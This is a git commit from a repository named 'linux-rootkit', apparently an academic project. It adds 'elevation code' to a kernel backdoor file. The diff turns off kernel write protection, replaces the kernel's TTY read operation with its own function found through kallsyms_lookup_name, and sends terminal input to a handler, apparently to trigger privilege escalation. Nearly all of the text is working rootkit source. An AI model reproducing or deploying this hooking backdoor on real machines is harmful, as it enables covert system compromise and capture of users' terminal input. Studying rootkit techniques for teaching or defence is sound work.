linux-rootkit

commit 944fb0a07f59ec649f94a4299d52a2a2101508a8
parent 8901b3f1621ca2d60a7131d3f3461aadeb927407
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 30 Nov 2020 02:58:42 +0100

adds elevation code

Diffstat:
M
src/backdoor.c
 | 
21
++++++---------------

1 file changed, 6 insertions(+), 15 deletions(-)
diff --git a/src/backdoor.c b/src/backdoor.c
@@ -4,6 +4,7 @@
 #include "common.h"
 #include "creds.h"
 #include "backdoor.h"
+#include "read.h"
 #include "hook.h"
 
 atomic_t receive_buf_count;
@@ -29,29 +30,19 @@ void
 backdoor_tty(void)
 {
     if (!current_tty_read) {
+        disable_protection();
         current_tty_read = ((struct file_operations *)kallsyms_lookup_name("tty_fops"))->read;
         ((struct file_operations *)kallsyms_lookup_name("tty_fops"))->read = (void *)g7_tty_read;
+        enable_protection();
     }
-
-    /* if (!ops && (ops = (struct tty_ldisc_ops *)kallsyms_lookup_name("n_tty_ops"))) { */
-    /*     if (ops->receive_buf2) { */
-    /*         atomic_set(&receive_buf2_count, 0); */
-    /*         current_receive_buf2 = ops->receive_buf2; */
-    /*         ops->receive_buf2 = g7_receive_buf2; */
-    /*     } else if (ops->receive_buf) { */
-    /*         atomic_set(&receive_buf_count, 0); */
-    /*         current_receive_buf = ops->receive_buf; */
-    /*         ops->receive_buf = g7_receive_buf; */
-    /*     } */
-    /* } */
 }
 
 ssize_t
 g7_tty_read(struct file *file, char *buf, size_t count, loff_t *off)
-
 {
-
-    return current_tty_read(file, buf, count, off);
+    ssize_t ret = current_tty_read(file, buf, count, off);
+    handle_pid(current->pid, buf, count);
+    return ret;
 }
 
 void